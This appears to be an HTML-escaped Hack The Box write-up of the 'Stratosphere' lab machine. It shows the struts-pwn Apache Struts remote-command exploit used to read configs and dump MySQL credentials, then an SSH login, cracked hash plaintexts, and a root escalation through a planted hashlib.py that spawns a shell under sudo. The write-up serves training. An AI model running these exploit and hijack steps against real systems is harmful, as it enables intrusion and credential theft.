&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &quot;cat db_connect&quot;

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: cat db_connect
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

[ssn]
user=ssn_admin
pass=AWs64@on*&amp;amp;

[users]
user=admin
pass=admin

[%] Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;It seems as though there is a database running on the server. We can enumerate the mysql database through the apache struts exploit. Using the mysql &lt;code class=&quot;highlighter-rouge&quot;&gt;-e&lt;/code&gt; parameter we can run mysql commands non-interactively, and receive the output of the queries through stdout.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin  -e &quot;show databases;&quot;'

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: mysql --user=admin --password=admin  -e &quot;show databases;&quot;
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

Database
information_schema
users

[%] Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;enumerating the tables within the mysql ‘users’ database&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin  -e &quot;use users; show tables;&quot;'

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: mysql --user=admin --password=admin  -e &quot;use users; show tables;&quot;
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

Tables_in_users
accounts

[%] Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;receiving the contents of the accounts table&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin  -e &quot;use users; select * from users.accounts;&quot;'

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: mysql --user=admin --password=admin  -e &quot;use users; select * from users.accounts;&quot;
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--&amp;gt; ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

fullName        password        username
Richard F. Smith        9tc*rhKuG5TyXvUJOrE^5CK7k       richard

[%] Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Attempting to &lt;em&gt;ssh&lt;/em&gt; into the box using the &lt;code class=&quot;highlighter-rouge&quot;&gt;richard&lt;/code&gt; account, and the password of &lt;code class=&quot;highlighter-rouge&quot;&gt;9tc*rhKuG5TyXvUJOrE^5CK7k&lt;/code&gt; from the mysql database results in&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere/struts-pwn# ssh richard@10.10.10.64
The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established.
ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.64' (ECDSA) to the list of known hosts.
richard@10.10.10.64's password:
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 31 12:57:51 2018 from 10.10.14.108
richard@stratosphere:~$ id
uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)
richard@stratosphere:~$ uname -a
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux
richard@stratosphere:~$ cat user.txt
e610b...[snip]...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;

&lt;p&gt;Upon sshing into the box we see a script called &lt;code class=&quot;highlighter-rouge&quot;&gt;test.py&lt;/code&gt; (contents below) which seems to be some sort of a game where we need to find the plaintext for various hashes, at the end of the line we see a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;os.system('/root/sucess.py')&lt;/code&gt;
We also seem to be able to run the &lt;code class=&quot;highlighter-rouge&quot;&gt;test.py&lt;/code&gt; file as the root user, from the output of the &lt;code class=&quot;highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt; command.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on stratosphere:
    (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;contents of test.py file&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;richard&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;@stratosphere&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;py&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;hashlib&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;question&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;q1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Solve: 5af003e100c80923ec04d65933d382cb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashlib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexdigest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;5af003e100c80923ec04d65933d382cb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Sorry, that's not right&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;You got it!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;q2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sha1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashlib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sha1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sha1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sha1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexdigest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'d24f6fb449855ff42344feff18ee2819033529ff'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Nope, that one didn't work...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;WOW, you're really good at this!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;q3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;How about this? 91ae5fc9ecbca9d346225063f23d2bd9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;md4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashlib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'md4'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;md4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexdigest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'91ae5fc9ecbca9d346225063f23d2bd9'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Yeah, I don't think that's right.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;OK, OK! I get it. You know how to crack hashes...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;blake&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashlib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'BLAKE2b512'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;blake&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;q4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;blake&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexdigest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;You were so close! urg... sorry rules are rules.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;

    &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'/root/success.py'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;question&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Running all the hashes through JTR we discover that the plaintext for the hashes are as follows:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Algo&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Hash&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Plaintext&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;MD5&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;5af003e100c80923ec04d65933d382cb&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;kaybboo!&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;SHA1&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;d24f6fb449855ff42344feff18ee2819033529ff&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;ninjaabisshinobi&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;MD4&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;91ae5fc9ecbca9d346225063f23d2bd9&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;legend72&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;BLAKE2b512&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;em&gt;hash redacted too long!&lt;/em&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;Fhero6610&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Successfully solving the challenge results in a &lt;code class=&quot;highlighter-rouge&quot;&gt;Permissioned denied&lt;/code&gt; on the the &lt;code class=&quot;highlighter-rouge&quot;&gt;sucess.py&lt;/code&gt; script so it seems that this may have been a false flag, and we need to do further enumeration for the proper priv. esc vector.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;solving test.py&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;richard@stratosphere:~$ /usr/bin/python3 /home/richard/test.py
Solve: 5af003e100c80923ec04d65933d382cb
kaybboo!
You got it!
Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
ninjaabisshinobi
WOW, you're really good at this!
How about this? 91ae5fc9ecbca9d346225063f23d2bd9
legend72
OK, OK! I get it. You know how to crack hashes...
Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943
Fhero6610
sh: 1: /root/success.py: Permission denied
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;root-via-python-library-hijacking&quot;&gt;Root via Python Library Hijacking&lt;/h3&gt;
&lt;p&gt;After researching a bit about privilege escalations related to python, you will come across the following blog-post about how to escalate privileges through &lt;a href=&quot;https://rastating.github.io/privilege-escalation-via-python-library-hijacking/&quot;&gt;python library hijacking&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you are familiar with the concept of &lt;a href=&quot;https://attack.mitre.org/wiki/Technique/T1038&quot;&gt;DLL Search Order Hijacking&lt;/a&gt; for the Windows Operating system it’s a similar concept.&lt;/p&gt;

&lt;p&gt;In order to exploit this vulnerability, all we have to do is create a python module (that our target script is importing) in the directory of the script that we are attempting to run. Since the &lt;code class=&quot;highlighter-rouge&quot;&gt;test.py&lt;/code&gt; script imports the &lt;code class=&quot;highlighter-rouge&quot;&gt;hashlib&lt;/code&gt; library we will create a &lt;code class=&quot;highlighter-rouge&quot;&gt;hashlib.py&lt;/code&gt; python module, which will load our code over the original &lt;code class=&quot;highlighter-rouge&quot;&gt;hashlib&lt;/code&gt; python module.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;contents of our hashlib.py python file&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;richard@stratosphere:~$ &lt;/span&gt;cat hashlib.py
import pty
pty.spawn&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/UqZHqhR.png&quot; alt=&quot;&amp;quot;Getting Root&amp;quot;&quot; title=&quot;Getting Root&quot; /&gt;&lt;/p&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="writeup" /><category term="pentesting" /><category term="hackthebox" /><category term="python" /><category term="struts" /><summary type="html">Introduction I don’t have much to say, stratosphere was a great box. Every step to completing this box was extremely logical, and you could pick up tons of neat small little tricks, coupled with a pretty unique priv. esc vector that I’ve never really seen before. Stratosphere overall was an extremely well built box. Hats off to linted for such a great creation. Tools Used Nmap BurpSuite John the Ripper struts-pwn Enumeration Like with every HTB machine, lets begin with an nmap scan against Stratosphere (10.10.10.64) root@dastinia:~/htb/stratosphere# nmap -sV -sC -Pn 10.10.10.64 -oA strat Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-30 19:35 EDT Nmap scan report for 10.10.10.64 Host is up (0.18s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA) | 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA) |_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519) 80/tcp open http | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 1114 | Date: Thu, 30 Aug 2018 23:36:02 GMT | Connection: close | &amp;lt;!doctype html&amp;gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;HTTP Status 404 | Found&amp;lt;/title&amp;gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt; | GetRequest: | HTTP/1.1 200 | Accept-Ranges: bytes | ETag: W/&quot;1708-1519762495000&quot; | Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT | Content-Type: text/html | Content-Length: 1708 | Date: Thu, 30 Aug 2018 23:36:01 GMT | Connection: close | &amp;lt;!DOCTYPE html&amp;gt; | &amp;lt;html&amp;gt; | &amp;lt;head&amp;gt; | &amp;lt;meta charset=&quot;utf-8&quot;/&amp;gt; | &amp;lt;title&amp;gt;Stratosphere&amp;lt;/title&amp;gt; | &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;main.css&quot;&amp;gt; | &amp;lt;/head&amp;gt; | &amp;lt;body&amp;gt; | &amp;lt;div id=&quot;background&quot;&amp;gt;&amp;lt;/div&amp;gt; | &amp;lt;header id=&quot;main-header&quot; class=&quot;hidden&quot;&amp;gt; | &amp;lt;div class=&quot;container&quot;&amp;gt; | &amp;lt;div class=&quot;content-wrap&quot;&amp;gt; | &amp;lt;p&amp;gt;&amp;lt;i class=&quot;fa fa-diamond&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/p&amp;gt; | &amp;lt;nav&amp;gt; | class=&quot;btn&quot; href=&quot;GettingStarted.html&quot;&amp;gt;Get started&amp;lt;/a&amp;gt; | &amp;lt;/nav&amp;gt; | &amp;lt;/div&amp;gt; | &amp;lt;/div&amp;gt; | &amp;lt;/header&amp;gt; | &amp;lt;section id=&quot;greeting&quot;&amp;gt; | &amp;lt;div class=&quot;container&quot;&amp;gt; | &amp;lt;div class=&quot;content-wrap&quot;&amp;gt; | &amp;lt;h1&amp;gt;Stratosphere&amp;lt;br&amp;gt;We protect your credit.&amp;lt;/h1&amp;gt; | class=&quot;btn&quot; href=&quot;GettingStarted.html&quot;&amp;gt;Get started now&amp;lt;/a&amp;gt; | &amp;lt;p&amp;gt;&amp;lt;i class=&quot;ar | HTTPOptions: | HTTP/1.1 200 | Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS | Content-Length: 0 | Date: Thu, 30 Aug 2018 23:36:01 GMT | Connection: close | RTSPRequest: | HTTP/1.1 400 | Transfer-Encoding: chunked | Date: Thu, 30 Aug 2018 23:36:01 GMT | Connection: close | X11Probe: | HTTP/1.1 400 | Date: Thu, 30 Aug 2018 23:36:02 GMT |_ Connection: close | http-methods: |_ Potentially risky methods: PUT DELETE |_http-title: Stratosphere 8080/tcp open http-proxy | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 1114 | Date: Thu, 30 Aug 2018 23:36:02 GMT | Connection: close | &amp;lt;!doctype html&amp;gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;HTTP Status 404 | 